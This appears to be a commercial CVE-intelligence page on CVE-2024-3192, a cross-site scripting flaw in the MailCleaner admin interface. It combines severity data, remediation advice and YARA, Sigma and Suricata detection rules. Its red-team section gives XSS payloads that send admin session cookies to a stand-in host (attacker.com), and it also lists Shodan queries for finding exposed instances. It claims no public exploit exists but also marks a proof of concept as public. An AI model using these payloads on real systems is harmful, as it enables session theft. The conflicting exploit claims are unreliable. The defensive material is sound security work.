☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3192

CVE-2024-3192 Cross-Site Scripting in Mailcleaner
📅 PUBLISHED: 2024-04-29 06:22 UTC 🔄 UPDATED: 2026-08-12 08:59 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 2023.03.14
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3192 is a Cross-Site Scripting (XSS) vulnerability in the MailCleaner admin interface, affecting versions up to and including 2023.03.14. The vulnerability allows an attacker to inject malicious scripts via a crafted email message, which is then rendered in the admin interface without proper sanitization. With a CVSS score of 4.3 (Medium), the attack requires user interaction but can be launched remotely. No public exploit code or Nuclei template is available, but the vulnerability has been disclosed, increasing the risk of targeted attacks. The vendor has not released an official patch, making mitigation through configuration changes and monitoring critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It affects the MailCleaner appliance, which is typically deployed as a virtual machine or container. The risk is limited to the MailCleaner ecosystem and does not propagate through software supply chains.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – The attack can be launched remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
  • User Interaction: Required (UI:R) – The admin must view the malicious email in the interface.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Script execution can modify content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The XSS can be used to steal admin session cookies, perform actions on behalf of the admin, or deface the interface. However, the requirement for user interaction reduces the immediate risk.

Deep Dive & Mechanics

The vulnerability resides in the Admin Interface of MailCleaner, specifically in the handling of email messages. When an admin views a malicious email, the content is not properly sanitized before being rendered in the web interface. An attacker can inject JavaScript code into the email body, which executes in the context of the admin's browser session.

Attack Flow:

  1. Attacker sends a crafted email to a MailCleaner user (or directly to the admin mailbox).
  2. The email contains a malicious payload, e.g., <script>alert('XSS')</script>.
  3. The admin logs into the MailCleaner admin interface and views the email.
  4. The injected script executes, potentially stealing session cookies, redirecting to a phishing page, or performing actions on the admin's behalf.

Root Cause: Lack of output encoding or sanitization of email content in the admin interface. The application likely uses innerHTML or similar methods without escaping HTML entities.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (PHP example):

// Vulnerable: Directly outputs email body without sanitization
echo "<div class='email-body'>" . $emailBody . "</div>";

Patched Code (Conceptual):

// Patched: Sanitize output using htmlspecialchars
echo "<div class='email-body'>" . htmlspecialchars($emailBody, ENT_QUOTES, 'UTF-8') . "</div>";

Key Difference: The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to send emails to a MailCleaner instance (e.g., via SMTP).
  • Admin user must view the email in the admin interface.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

  1. Send an email with the payload in the subject or body.
  2. Wait for the admin to view the email.
  3. The script executes and exfiltrates the session cookie.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual email content containing <script> tags or event handlers.
  • Use WAF rules to block XSS payloads in email headers/body.

Hardening:

  • Apply input validation and output encoding in the admin interface.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use HTTP-only cookies to prevent JavaScript access.

Lab Setup:

  1. Deploy a vulnerable MailCleaner instance (version 2023.03.14 or earlier).
  2. Send a test email with <script>alert('XSS')</script> in the body.
  3. Log in as admin and view the email to confirm the alert.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the MailCleaner server.
  • Logs: Admin interface logs showing unusual email content or JavaScript errors.
  • Email: Emails containing <script>, <img onerror>, or other HTML event handlers.
  • File System: Temporary files or scripts dropped by XSS payloads (unlikely but possible).

Example IOC (Suricata rule):

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MailCleaner XSS Exfiltration"; content:"/steal?cookie="; classtype:attempted-recon; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule MailCleaner_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting MailCleaner admin interface"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3192"
    strings:
        $script = /<script[^>]*>.*?<\/script>/is
        $event = /on\w+\s*=\s*['\"].*?['\"]/is
        $img = /<img[^>]*onerror\s*=/is
    condition:
        any of them
}

Sigma Rule

title: MailCleaner Admin XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in email content viewed via MailCleaner admin interface
author: Valters IT
logsource:
    category: webserver
    product: mailcleaner
detection:
    selection:
        http.response.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in emails (rare)
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"MailCleaner XSS Payload in Email"; content:"<script>"; nocase; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable HTML email rendering in the admin interface if possible.
  2. Apply a WAF rule to block XSS payloads in email content.
  3. Monitor logs for suspicious email content and outbound connections.

Long-term Fix:

  • Apply the official patch when released by MailCleaner.
  • Upgrade to a patched version (if available).
  • Implement CSP headers: Content-Security-Policy: default-src 'self'; script-src 'none';

Workaround:

  • Use a reverse proxy (e.g., Nginx) to sanitize email content before it reaches the admin interface.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MailCleaner"
http.html:"MailCleaner Admin"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3192/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.